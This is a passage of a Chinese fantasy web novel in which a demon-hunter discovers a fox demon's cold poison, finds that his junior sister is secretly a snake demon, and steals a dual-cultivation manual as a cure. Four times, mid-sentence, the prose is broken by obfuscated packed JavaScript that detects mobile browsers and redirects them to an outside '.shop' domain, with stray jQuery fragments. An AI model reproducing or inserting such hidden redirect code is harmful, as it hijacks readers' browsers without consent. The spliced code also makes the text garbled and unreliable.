梦中的身体轻盈飘逸，他心念一动，试图往山上两名男子身边飘去。 分明还未走近，那二人交谈的声音却仿佛在耳畔响起。 “若非你妖族大意，怎会让那只蛇妖掠走吾儿。”眉心生有银色竖纹的男人手中执剑，对准九尾天狐，神色愤怒焦急。 没来由的，苏言辰对这人心生亲近之意。越看那眉眼越觉得眼熟。 “哼，你可别忘了，那家伙体内也有一半人族的血脉。若说错处，你我二人皆有。” “况且，孤的独子亦被盗走，你敢说其中不曾有你下属的手笔？多说无益，你我二人来打一场！” 话音刚落，金色泛赤的火焰便冲天而起，苏言辰忙往后飘，一道凛冽刺骨的剑气猛然从他的身后冲出，撞击在散发熊熊烈焰的巨狐身上。 渐渐的，原本只是比试泄愤的打斗愈发激烈起来，偶尔传出几声对话，但更多的还是妖力与灵力剑气的对抗。 苏言辰陡然感觉到一丝寒意，梦境的世界晃动起来，留给他最后的画面便是被长剑刺入心脏的九尾天狐。最后一瞬那只狐狸似是突然看见了他，金色双眸中骤然爆发出摄人的凶意。 吼—— 苏言辰浑身打了个寒战，猛地睁开眼睛。 “醒了？” 与梦中天狐相似的金色眼眸正柔和地看着他，苏言辰定定与银青对视，片刻回过神来，下意识撇开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281231|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线。 他坐起来环顾四周，忽然发现他们二人身处屋子的温度似乎低了许多。 “你……没事吧？”与大妖接触的手指像是摸着一块寒冰，与先前的温暖灼热形成鲜明的对比。苏言辰抬眼打量着银青，却发觉对方那原本就苍白的脸色更加没有血色，连原本淡红的嘴唇都泛着白色。 “老毛病罢了。”银青轻轻咳了一声，松开与除妖师交握的手，背过身去，“这次的淬魂已经结束，你可以回去了。” “一月之后如有闲暇，可再再来望月山。到时我会为你进行二次淬魂。” 苏言辰沉默着看着这只大狐狸努力蜷缩起来的九条尾巴，站起身慢慢往外走去，眼睛却瞧见那大妖头顶立着的耳朵以肉眼可见的速度垂了下来。 哒——哒—— “你身上的寒毒是不是加重了。” 苏言辰绕到银青身后伸出双手狠狠揉了把那对毛绒狐耳，随即在他身边蹲下。 “你——大胆！”银青倏地直起身子，望向苏言辰的狭长金眸里满是惊讶与羞恼的神色。 “怎么，作为朋友我不能摸你的耳朵吗？还是这摸耳朵有什么说法？” 苏言辰仔细检查大妖身上的异常之处，心中却想到自己摸过无数小狐妖耳朵的事情。一时间内心竟有些心虚。 不会真有什么含义吧？ 见银青许久没说话，苏言辰疑惑抬头，却被人捏了捏脸颊。 “自然没有。”银青好笑地看着面前的除妖师，“不过，耳朵没有尾巴却有。” “对于狐族来说，只有亲近之人才可抚摸狐尾。”若非他允许，那一个月里他的尾巴怎会被这除妖师里里外外摸了无数次？ 苏言辰的呼吸猛地一滞，亲近之人？ 或许对于银青来说，他这个……朋友应该也算亲近之人吧。毕竟大妖在他摸尾巴时并未对他表现出拒绝之意。 思绪流转间，苏言辰的手指摸到了坚硬冰冷的物体，伴随着大妖的闷哼声，他的手瞬间被人握住。 “不要碰。危险。” 银青放出微弱的金色狐火在苏言辰手中晃了一圈，那团狐火缩得更小，随后被他收回体内。 纵然除妖师刚被他用狐火淬魂过，但这并不代表对方就一定能免疫寒毒的侵袭。 “这是什么？怎么长在你的心口？” 苏言辰望着银青那原本被自己包扎好的胸口被一大簇散发寒气的冰晶覆盖，那冰晶甚至是突破衣衫刺出来的状态。 “你方才说的没错，这就是寒毒。”银青捂着冰晶背对着苏言辰，低声说道：“几年前有一只寒蟾蜍突然出现在望月山附近。因月华村的幻阵不防水火，同样也无法免疫寒气。为了保护村民也为了山上的狐妖幼崽，我便与其交战。” “幸而最终是我赢了，但也被其临死前喷射的寒毒损了身体。至今未曾痊愈。”甚至情况更糟糕了。银青暗中握紧拳头，忽又松开。 也罢，时也命也。但就如他先前同苏言辰所说之语，未到山穷水尽之时，他绝不会放弃寻找解毒的办法。 12. 第 12 章 寒蟾蜍，顾名思义是与寒冰有关的蟾蜍妖，按照银青的说法，这妖身具寒毒又有较强潜伏性，是个难缠的家伙。若非银青出马，月华村或许就不是如今这幅人丁兴旺的模样。 “这本书里没有解这寒毒的法子吗？” 听到苏言辰的问话，大妖笑着摇摇头：“这类针对妖族的书籍自然是你们除妖师那边更多。” “就连这本书也是我师父曾经做除妖师时留下的。或者说这一屋子的书籍卷轴都是师父多年来搜寻找来的。”银青敲了敲书柜，神色有些怅然。 “但我不爱看这些，小雪倒是喜欢。可惜当初我中寒毒之后，小雪便已经翻遍这书房的所有书籍，可是……其中并没有有关这寒毒解法的记载。” 瞧见苏言辰担忧的表情，大妖狭长的眼眸微微眯起，伸手干脆利落地将胸口的冰晶拔去，狐火登时附在那伤口上像是在疗伤，待血凝固，遮掩的外衫衣服也迅速穿好。整套动作行云流水，想来已经进行过无数次。 “无需担心，如今这狐火解毒虽慢，但只要在寒毒侵入丹田前将其除去，都无大碍。”只要不再像上次那样心急以至于叫这寒毒反噬，假以时日这寒毒自然可解，只是耗时太过漫长。 苏言辰摸着手中依旧有寒气残留的狐尾，心中思索，也不知道玄天宗有没有遇见过这种妖，或者……他低头看向桌上摊着的书籍，或许在玄天宗的藏书阁中会有有关寒蟾蜍的记载？ 玄天宗作为天下数一数二的除妖大派，这些年积攒下来的书籍必定比一般门派多。在离开宗门前，他或许可以薅一把羊毛，帮大妖查找有关解毒的法子。 虽然听银青的说法，他所持的狐火可以解毒，但和上次相比，他的身体分明更加虚弱了。想到这，苏言辰忍不住抬眸看了眼随意坐在地上的狐妖。 嘶…… 果然是狐族。纵使身中寒毒身体虚弱也丝毫不影响大妖身上那种惑人的美感，甚至正因为病弱反而多了几分惹人怜惜的意味。 “如今你的摄魂印即将解开，有想过以后在何处生活吗？”见除妖师呆呆地望着自己，银青眉头微挑，开口询问道。 听到这话，苏言辰一愣，他倒是还未想过这个问题。 玄天宗自然是不能待了，或许他可以找一处山头隐居下来，或者改头换面去人多的小镇？ “……我会离开玄天宗。等躲开他们的追捕后，找个隐蔽的地方住下来。到时候搭个小院子，种菜养鸡或是上山打猎皆可。” 说着隐蔽性，苏言辰脑中忽灵光一闪，这月华村不就是他心目中理想的住处吗？ 在玄天宗眼中，这月华村自然是已经被他们排查过的地方想来不会再过多关注。而村落中又有幻阵，山上还有大妖庇佑，安全性也有保障。 “月华村倒是个不错的居所。”他最后说道。 “确实不错。”银青点头附和，身后同主人一样紧张等待答案的尾巴慢悠悠地摆动起来。 若是选择狐狸洞就更好了，大妖心中补充道，不过月华村就在狐狸洞下面，四舍五入，除妖师就是决定在狐狸洞安家了。 话说到这，苏言辰望了眼天色，不知不觉时间已经来到下午。因心中想着山下那群昏迷着的玄天宗弟子，他估摸着时间，决定下山。 这幻阵虽厉害，但时间一长，难免会有逻辑不恰之处，也不知道临走时银青说的无需担心是什么意思。 因心中想着事情，苏言辰独自一人在山路上慢慢走着。 不知不觉间天色逐渐暗下来，隐约有雷声的闷响。 “要打雷了？”独自走在石阶上的年轻除妖师不由停下脚步。 他想到了记忆觉醒前被雷劈中的经历。虽当时被雷劈的记忆已经模糊，但被劈的一瞬那种惊悚与战栗感还刻在记忆中。 “我应该不会那么倒霉，还被二次劈中吧？”望了眼头顶的天空，苏言辰嘴上安慰着自己，步伐却很诚实的加快。 这山路旁高大树木多的是，为了避免被雷劈中，他还是躲着点走吧。 待下了半山腰，苏言辰忽然听到了一声怪异的叫声，像是从山脚下传来。 “这声音怎么那么像狼嚎？”他停下脚步，神情顿时严肃起来。 这个世界虽然存在妖族，但也不乏野兽，在宗门下发任务中甚至还会出现除去伤人野兽的这样类似的内容。凶恶的野兽虽无妖族的智慧却依旧会伤人甚至食人。 苏言辰驻足倾听山下的动静。 在最初的狼嚎过后，悠长又渗人的狼嚎接二连三的响起，听那声音，这竟是个庞大的狼群。 刹那间苏言辰想起临行前大妖说的放心，一时间愣在原地。 “原来是这样……”他喃喃说着，半晌脸上忽露出一丝痛快的笑容。 所谓以其人之道还治其人之身。这些能随申元瑞这个大师兄外出任务的玄天宗弟子手中的冤魂还少吗？不提妖族，就早晨时他们肆无忌惮杀人的模样，可见已经不是头次这样做了。不过……苏言辰突然想到了小师妹。 “不行，我要去救她。”纵然这小姑娘脾气不太好，还爱使唤自己但本性不坏，同她的哥哥是两类人。或者换个角度讲，这么多年自己手下不曾有冤魂也有小师妹的功劳。当大小姐的仆人总比当杀人的刀好。 赶路的时候，天空中开始下起小雨，细细密密带着凉意。 咔—— 白色泛紫的闪电骤然出现在天幕之上，苏言辰猛地打了个激灵，贴着山壁往前张望。 “还好，不是往这边打的。”他这样想着，耳边的雷声却愈发大了起来。 他继续贴着山壁往下走，雷声中狼嚎也不再明显，只间或几声刷着存在感。就在苏言辰准备走过一处拐角时，他周身汗毛猝然竖起，一种熟悉而惊悚的感觉笼罩着全身。 轰——轰—— 接连两道雷击落到他不远处的山石上，发出巨响，伴随着石块土屑迸溅扬起的灰尘，一切似乎又恢复了平静。 “……呸！”苏言辰放下抱头的双手，吐出口中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281232|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泥沙，瘫坐到山壁下面，双目无神。 “老子今年定是犯了太岁！”他望向已经快速消散的雷云，哀叹道：“这都两次了，我是和雷有缘吗？啊？！” 吓得他肠子都抽搐了。苏言辰揉了揉小腹，等待痛意消失，同时平复心情，眼睛随意扫向四周。 被雷击中的那块山石恰巧是拐角处那块，原先因为这石头，路上的行人很难看清下面山路上的情况，如今这雷一劈，虽不至于全碎裂开，但至少能有一角可以看见下面隐约的石阶。 “嗯？那是什么？”苏言辰目光一定，抽出长剑站了起来。 在那一角间隙中似乎有一块青红交加的东西，看上去怪异得很。 避开散落的石块，最先出现在视线中的是一条极粗的青色蛇尾，在蛇尾上遍布着焦黑以及翻卷的皮肉，同时还有鲜血流出，这便是最初苏言辰看到的青红二色的真实面目。 顺着蛇尾，苏言辰看见了熟悉的服饰，以及一张满是黑灰却依旧能辨认出的面孔。 “小师妹？！” 等等，不是，这条蛇妖是小师妹？小师妹是蛇妖？刚刚那两道雷劈得是小师妹？！ 苏言辰站在昏迷的申元玥身旁，握着除妖的长剑，一时间脑子有些混乱。 说出去谁会相信，玄天宗这除妖宗门宗主的幼女是一个蛇妖？莫非这申元玥并不是申常德的亲子？那她是一直都在隐瞒自己的妖族身份吗？ 不对不对。苏言辰摇摇头，小师妹平时分明都是正常的人族模样，不提尾巴，就他们宗门那鉴别妖物的地上铜镜都踩了不知多少次。 此事必有蹊跷！ 雨越下越大，也将申元玥脸上的黑灰冲洗干净，苏言辰将她拖到山路外一处茅草搭建的屋子里。 估计这屋子是上山打猎的村民搭建的临时居所，里面有一张简陋的小床以及少许补给。 在苏言辰搬动申元玥的时候，申元玥那紧闭的眼皮动了动，随即睁开。 苏言辰只觉手中的尾巴猛的一僵，他立刻回头，迎面便对上一双幽绿色的竖瞳。 “苏师兄，你果然又挣脱了摄魂印的控制。” 或许是因为身体的主人已经醒来，那原本属于妖族的体征一点点消退，绿色竖瞳重新变成漆黑的眼瞳，脸颊上翠绿的蛇鳞也隐在皮肤之下。 最后除了那伤痕累累的青色蛇尾，申元玥的上半身都与平时一般无二。 “你是……蛇妖？” 对于申元玥的先发制人，苏言辰并未放在心上，他看着少女眼中的紧张与不安，突然笑了笑。 “你我之间，何必如此戒备？现下我们双方间都有彼此的把柄，不如开诚布公，想想如何应对他人。比如其他玄天宗的弟子，又比如……你的哥哥。” “你的父亲与哥哥知道你妖族的身份吗？” 申元玥摇摇头，目光落在她那条青色的蛇尾上。其实不止是这次，在一个多月前，她便发现了自己身体的异常，而当时在她身边是一名月华村的少年。 13. 第 13 章 屋外的雨逐渐小了。 等申元玥身上的伤口被简单处理过后，那条青色的蛇尾也蜕变成人腿的形态。 见申元玥咬牙拄着剑艰难行走的样子，苏言辰叫住她，开口道：“要不要我背你？” 申元玥停下来，看了看自己的腿。 纵然蛇尾变人腿，但其上的伤口并不会消失，每每行走总会有一种皮肉撕扯的刺痛，她抬头望着身前这个青年充满善意的明澈双眸，最后低声应了一声。 “不用，你扶着我走就可以了。” 被控制的无心傀儡和真正确认拥有人的神志的人自然是两种感觉。 或许因为她明知将人变成傀儡是件错事却依旧不曾阻止父亲，面对眼前这个拥有活人气息的青年，她内心产生了一种隐秘的愧疚感。 绕过拐角很快便见到了山脚下那棵极其醒目的巨大桂树。 “对了，你是怎么到这山上的？”见到这桂树，苏言辰忽然想起银青对他说的月华村桂树做媒介的幻阵。小师妹是如何避开这幻阵还能爬上山的？ 提到这茬，申元玥沉默着盯着苏言辰，眼中同样满是疑惑与不解：“也不知道怎么回事，和申元瑞吵完架后，这村子忽然就弥漫起大雾，我也不知怎的就晕了。等醒过来，雾也散了，那些同门师兄弟却全倒在地上，怎么叫也叫不醒。而你也没了踪影。” 听到这苏言辰忽然意识到，小师妹这是同自己一样，看破了月华村的幻境，也就是说，那个时候的小师妹便已经被幻阵识别为无害之人。 申元玥的话还在继续。 “……随后我便在这山路附近发现了傀儡令的残片，我便猜测你是不是被什么抓到了山上，未曾想半道上便迷了路，还被雷劈……”最后还在苏言辰面前暴露了妖族的身份。 申元玥想到之前遇到的妖族少年对自己这种情况的解释。自己极有可能是人族与妖族的后代，也只有这样才能解释为何她会在临近成年时天雷加身，显露妖形。 若是这样，她父亲所说的自己一出生便死去的母亲定然便是妖族。 想到往日里父亲对妖族那种极其狠辣无情的作风，申元玥忍不住打了个寒战。 虽不知道父亲留下自己的原因，但如今她绝不能被父亲被兄长发现自己的蛇妖原形。 她看向苏言辰，握紧对方的手臂：“苏师兄，就像你方才所说，我俩如今的处境相似。你不愿再被摄魂印操控心神，而我亦不想被父兄发现蛇妖真身。既然如此，那么日后我俩在宗门自当相互——” “你现在这个状态，还想在玄天宗待着？不怕哪天被某个师兄弟杀死？” 听了申元玥的话，苏言辰停下脚步，皱眉看向对方。 平日里他们在玄天宗见到的妖族被杀的场景还少吗？这都不跑？还是想着宗主会因为父女之情而放她一马？ 申元玥低下头，闷声说道：“我又不是傻子，当然要跑，但不是现在。” 说着说着，她抬起头来，又恢复了平日里活泼的模样：“你自小就呆在宗门里，一定不知道在外面生活有多难。趁着咱俩秘密没暴露，可不得多捞些钱财。” “况且逃跑也要做计划，不然一下子被捉回去那后果……你也知道玄天宗对待叛徒的手段。” “……”原来是有这般打算。苏言辰心中有些惊讶。这小师妹平日里看上去被宗主养的天真娇惯，行事作风也颇为单纯直率，原是人不可貌相。 再次回到被火烧过的月华村，两人却发现散在村庄各角落的玄天宗弟子消失了踪影。 回想先前还能听到的狼嚎，如今却没了动静，苏言辰心中不由一凛。 顺着狼的爪印，两人一路往村外走去却在半路听到了人声。 “等等！” 苏言辰拽住申元玥的胳膊，将她拉到一旁躲了起来。 不远处，一群身着霁青色弟子服的玄天宗人正在沿途翻找着什么。 “快，这里有人还活着。是……大师兄！” “大师兄！” “太好了，大师兄找到了！” 为首之人朝其他玄天宗弟子高声喊道：“快再看看，还有没有其他人的踪迹，尤其是小师妹。”大师兄与小师妹都是宗主的孩子，若是有什么三长两短，他们也别想有好果子吃。 众人俱是神情一肃，寻找的动作更加细致起来。 “……他们在找我们。”申元玥瞥见那几具被狼咬的血肉模糊的尸体，下意识撇开脸。待瞧见苏言辰身上干干净净的衣服，她念头一转，说道：“你快在地上滚几圈，或者抹点灰在身上。” 说话的同时，她扯出原先绑在腿上的布条递给苏言辰。 “其他人都那般凄惨，我俩如此神志清醒就罢了，你身上不光洁净还毫发无损，那未免太容易被人看出破绽。” “快，多抹点。” 眼见着自己身上被抹得灰一条白一条，腿上也被小师妹紧紧系上沾满血的布条，苏言辰想了想，直接躺倒在地上。 “你就当我昏迷了，到时候记得及时摇醒我。” 申元玥：“……” 她拍了两下手掌，紧跟着趴在地上，随后做出努力挣扎的模样，从草丛后边扒拉出手。 “救……救命……有没有人啊~” …… 有小师妹做掩护，苏言辰并未被人怀疑，相反，因为平日里那副冷漠的模样，旁人并不愿与其待在一起。于是在返程的舟型法器上，他同小师妹一样得到了单间的待遇。 怀中的酸梅果脯只剩下最后两枚，苏言辰想了想还是将其放回怀中。 或许是因为坐的次数增加，他的承受能力得到了加强，这次在在船上那种晕船产生的恶心感反而不那么强烈。他坐在蒲团上，望着窗外的景色，静静出神。 听那群后来的玄天宗弟子说，他们是因为发觉前去进行任务的师兄弟们久久未归，这才前往月华村查看。而在幸存的弟子口中，他们是遭遇了狼妖的袭击，而那群狼妖在袭击完他们的同时还将那地上的尸体都拖走。 至于说原因…… “自然是当做储备粮，妖族无恶不作，食人倒也正常。”说这话时，那仅存的几名弟子脸上露出了害怕惊惧的神色，语气间俱是对妖族的愤恨。 不愧是月华村的幻阵，这般解释确实很符合玄天宗弟子的逻辑。 苏言辰暗暗叹了口气，与他这个放养式的傀儡不同，那些玄天宗弟子自小便被灌输这般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281233|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖便是恶的思想，即使有人感觉不对也会像之前那个圆脸小师弟一样被教习师傅用棍棒“掰正”。 几名幸存的玄天宗弟子中还包含了申元瑞这个大师兄，一想到这个苏言辰便心中觉得可惜。若说那些听从指令的玄天宗弟子是被自小的思想灌输教坏了脑子，那申元瑞便是行事更加偏激的阴险之辈。 如今再次回想之前这个大师兄的所作所为，苏言辰也反应过来，那天晚上申元瑞为何和燕大娘进行那般细致的问话。什么村落人家的情况，那分明是想了解这村里人口以便他安排前来屠村弟子数量。 好在这人如今受伤颇重，没死只能算是他命大。想到这，苏言辰也不再想这些扫兴的事情。不如想想自己该如何在不被他人发现的情况下，前往玄天宗的藏书阁查找那寒毒的解决之法。 夜已渐深，巨大的灵舟在河流中行驶着，有圆月在水面投下皎洁的月影，一切都安静下来。 船上的某间屋内，苏言辰忽然睁开眼睛，急促的喘息声在黑夜中极为清晰。 他又做梦了。 还是曾经那个梦境，还是那般画面，只是其中多了些许细节。 苏言辰从床上爬了起来，来到窗下。那里有月色投了进来。 对着月光，他伸出手指取下手上的玉扳指，仔细观察玉扳指的花纹。 表面看这玉扳指极为普通，但在月光的照耀下，在某个角度，苏言辰忽然看到了一只动物的图案，就像是……狐狸，还是九条尾巴的狐狸。 联系到梦境中，那只金色的九尾狐妖，对方在人形时手上似乎也有一枚极为相似的玉扳指，连扳指一侧的红色斑点的位置都一模一样。 但若说对方是自己的父亲那也不大可能，他可是亲耳听到申常德那个老家伙说过自己是人王之子，也就是说自己的父亲也是一个人族。 并且相较于那只金色大狐狸，对于另一位男子他反而更为眼熟。 想到这，苏言辰环顾四周，将手边的长剑拔出，对着月光看向剑身。 在细长干净的剑身之上映照出一张白皙俊美的面孔。 “好像……” 苏言辰放下长剑，眼神怔怔。 结合画面片段中那几段信息巨大的对话，他心中隐约有了一个猜测。 听那两人的语气，他俩必然在两族中身居高位，甚至极可能就是那传说中的人王与妖王。这便也就对上了自己的身世——人王之子。 而那只金色的九尾狐妖自然便是传说中的天狐，和银青的种族是一样的。 想到这，苏言辰的身体顿时一僵。细想那两人口中同时出现的丢失孩子的遭遇，他很难不怀疑这个九尾天狐就是银青的父亲，即使不是，也绝对有血缘关系。 毕竟是妖族，还是人丁兴旺的狐族，在这样的族群，同族之间无血缘关系都极为少见。 “……” 可是，在梦境的最后一幕，他可是见到他今生的爹，他的人王爸爸把那只金色的大狐狸给一剑捅穿了，捅的地方还他爹的是心脏。 “完了……”苏言辰痛苦地捂住脸。若是这梦境为真，他与银青之间，他俩的父辈之间不会有仇吧？ “……还是无可磨灭的杀身之仇。” 14. 第 14 章 因为船上有伤员的缘故，返程的灵舟速度要比来时慢得多。 次日一早，灵舟依旧还在河流之上缓慢行驶着。申元玥敲响苏言辰的门，却被他眼下的黑眼圈吓了一跳。 “你昨晚是做贼去啦，脸色这么差？” 她随手关上门，将手上的朝食摆在桌上。作为名义上傀儡的看管者，她自然有负责苏言辰衣食住行的职责。更何况为了减少暴露，傀儡自然是与外界接触的越少越好。 苏言辰摇摇头只道自己是没睡好，默默坐到桌前。 昨天半夜在推测出那个结论后他辗转一阵终于睡着，结果又做起了梦。 或者那不仅仅只是梦境，更像是他手上这个玉扳指的经历片段。 随着梦境中各种画面与对话的陆续出现，苏言辰最终也确定了那两个人的身份还知晓了他们的姓名，人王苏凌风以及妖王银焱。而就在方才他被小师妹叫醒前，他听到了那妖王对独子的称呼——阿青。 所有的线索都在表明，那个被他爹杀了的妖王的独子就是他认识的银青。 推测出这个信息，苏言辰心情难免有些郁卒。才认识没几个月的的妖族好友居然与自己有如此大仇，这发展未免太过戏剧化。 父辈之间的事情怎么可能不影响下一辈？况且与人族相比，妖族的爱恨要更加浓烈甚至偏激，所谓爱之欲其生恶之欲其死。 想必银青还不曾知道这个消息，否则他怎会对自己有那般好脸色。 “喂，苏师兄，你发什么呆呢，面都要冷了。”申元玥坐在旁边撑着下巴看着那还冒着热气的鱼汤，见苏言辰自坐下后便在发呆，于是催促道。 “快尝尝，这可是早上刚捉的鱼做的，可新鲜了。” 新鲜的鱼？ 苏言辰拿着筷子挑起汤碗中的面条，碗里的汤色奶白，浓郁的河鲜味儿扑鼻而来。 “呕——”他放下筷子，扑到窗口干呕出声，半晌没吐出什么东西。等接过清水漱了漱口后，那从嗓子眼泛上来的恶心感才平息下来。 “怎么吐了？”申元玥端着水杯站在一旁，瞧了瞧桌上那碗面，又看了看坐在地上面色苍白的苏言辰，面露困惑。 “这鱼汤闻起来很腥。”苏言辰皱起眉，朝申元玥解释。 “腥？”申元玥凑近面碗，仔细嗅闻：“你味觉出问题了吧。明明是香味儿。” “算了，不吃这个就只剩白面馒头了。你要不要来点？” “好。” 见苏言辰就着咸菜喝白粥啃馒头，吃得好好的模样，申元玥忽然噗嗤一声笑了起来。 苏言辰闻声抬头却见面前的小师妹掩住嘴摆了摆手，一脸古怪道。 “刚刚看你那架势，若不是你是男子我都要以为你是在孕吐了。” “哎，你就当我在胡说。”申元玥可能也觉得自己的想法很离谱，拍了拍自己的脑袋，“可真的和我在城镇医馆帮忙时见过的一些有孕妇人很像。她们好多怀孕后都是对气味极其敏感，尤其是鱼虾这种腥味儿重的，更是一点也沾不得闻不得。” “如今这鱼这么新鲜，你觉得腥就罢了，还没吃就吐了，可不就很奇怪。” “……我只是有些晕船。”苏言辰努力替自己辩解。 这小师妹口中的情况若是放在女子身上倒还有可能，但他可是个实实在在的男人，这般猜测未免有些异想天开。 …… 几日后—— 夜幕下的玄天宗同往常一样宁静，隐约有几处房间还亮着灯。随着时间的推移，那些灯光也逐渐消失不见。 躲过巡逻的玄天宗弟子，苏言辰趁着夜色悄悄溜到藏书阁侧面的墙壁下。 藏书馆一层的门口有位胡子花白的玄天宗管事正低着头昏昏欲睡，虽看上去耳聋眼瞎，即使从正门进也不一定被察觉身份，但以防万一，苏言辰还是决定从二楼的小窗翻进去。 按照从申元玥口中问到的情报看，那些有关妖族记载的书籍恰巧就在二楼。这正方便了他的查找。 “寒蟾蜍……寒蟾蜍……在哪儿呢？”借着小窗透进来的月光，苏言辰动作又轻又快地翻着书籍。 有关妖族族类的书籍不算少但也不算多，将纸质的书籍翻完，有关寒蟾蜍的记载却依旧没有出现。 他微微叹了口气，肩头忽放上一只手掌。 “你在找什么？” ！！！ 苏言辰捂住砰砰直跳的心脏，朝身后突然出现的申元玥咬牙切齿道：“你知不知道，人吓人吓死人啊。” “明明是你自己不谨慎。”小师妹低声反驳，“你还没说你要找什么呢？这藏书馆我自然比你熟，指不定你想要的东西我能知道位置呢。” “那你大半夜不睡觉偷偷跑这里做什么？身为宗主之女，你白天来都没问题还需要晚上来。” 听到苏言辰的问话，申元玥叹了口气：“那自然是因为我想要找的东西在三楼。那里平日里只有我父兄能去，这次恰巧我爹外出，申元瑞那家伙又受了重伤，我才能有机会拿到三楼的钥匙。” 三楼？ 苏言辰将目光转向四周，这藏书阁居然还有三楼的存在。 却见申元玥数着书架，摸到一处凸起的金属花纹，随后将手中的钥匙往那花纹孔洞中轻轻一插一转。在书架的对面无声无息便出现了一面狭小的门洞。 嚯！竟然是密道。 “走吧，看你在这找了这么久也没找到，想来你想要的应该和我一样在三楼。”走进通往三楼的密道，申元玥转头朝苏言辰低声唤道。 “快点，门要关了。” 就在苏言辰进去后门关的一刹那，这间密室里陡然亮起两点幽绿的光。 “什么东西？！”苏言辰被惊得睁大眼睛。 “诶呀，这里怎么没有灯。”幽绿的光传来小师妹的声音。 那两点绿光原来这是小师妹现出蛇形的眼睛。 等视线逐渐适应了密道的昏暗后，两人也从通道爬上了三楼。 “我们抓紧时间，在天亮前一定要回去。” 三楼的布局同二楼相似，只是书籍更加稀少，最大的不同便是那书架上摆放的并不是纸质的书籍而是竹简。 在第一声鸡鸣响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281234|151842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之时，苏言辰终于在最低处的角落里找到了有关于寒蟾蜍的记载。 【寒蟾蜍，五大毒妖之一……成年寒蟾蜍乃蛇族天敌……若身中寒蟾蜍之毒则需世间极阳之力将寒毒驱逐体外。注：天狐狐火对此亦有缓和之效，但……而笔者门派独有之《纯阳合欢策》，一经修炼即可在体内产生极阳之力，解毒之效极佳。】 “……”怎么这最后一句那么像现代的软广？苏言辰心中嘀咕，但这也是他如今唯一发现的解毒办法，想来能被玄天宗收在藏书阁，应该不是什么不正经的东西。 他合上竹简，却在它原本的位置发现了一本纸质的薄薄的小册子，上面正正好好标着五个大字：纯阳合欢策。 拾起小册子，苏言辰在册子背面发现了被撕扯的痕迹，而在竹简表面亦有几处纸张残留物。 “……原来是捆绑销售？” 眼见着小师妹已经开始催促，苏言辰将小册子藏进怀里，快速朝藏书阁外跑去。 今晚虽费神费眼，但能找到解决寒毒之法便是最大的收获。 “……这个《纯阳合欢策》应该是正经功法吧？” 坐在自己房间的床上，苏言辰掏出小册子，再次仔细看了一眼册子的封面。 先前在藏书阁的时候看的急，有个纯阳俩字，苏言辰心中便觉得这应该是所谓的正道功法，哪想如今放到明亮的日光下再看，那明晃晃的合欢两字便挤开其余三字，霸占了他的视线。 “合欢……” 苏言辰端正坐在桌前，将桌上放着的书册打开。 啪——苏言辰合上书册。 “我一定是眼花了。”他喃喃说道，脸上的表情却带上了几分空白之色。 再次翻开。 在书册内页第一面，这本《纯阳合欢策》的本质便被著者简洁明了地标了出来。 【此乃合欢宗双修之法，为吾合欢宗镇宗三宝之一。可炼体、强魂、拓宽经络，此外亦有治疗、解毒……若练此功，则需废去原有身法……】 等苏言辰往后再翻几页，他悬着的心终于半死不活地落到了地上。 坏消息是这是双修之法还是两个男人间的双修之法，书名上的纯阳或许指的就是这个纯阳。至于好消息……那自然是在书册的上册，俱是正经的单人修炼的功法。等到下册才是真真切切的双修之法。 放下书册，苏言辰呼出一口气。 功法的上册其实便是在体内储存足够的纯阳之力，而下册的双修之法便是将体内的纯阳之力传递到双修之人的体内这与他所想要的，将银青体内的寒毒用纯阳之力驱逐出体外有异曲同工之处。 现在唯一叫他感觉尴尬的便是，这解毒的办法未免太过亲密了些。 先前因为两人同时身中两极果之毒，被迫产生身体上的交流也是无奈之举，那时候被那类似情毒的东西所控，他的记忆其实是有些模糊的。如今若要进行这双修之法却是要神志清醒才能实现。 他能接受……能做到吗？ 苏言辰捏了捏自己发烫的耳朵，鼻间似乎又闻到了独属于银青那只大狐狸身上的冷香。 15. 第 15 章 绝大多数男人都是感官动物。苏言辰作为一个普通男人，自然不能免俗。 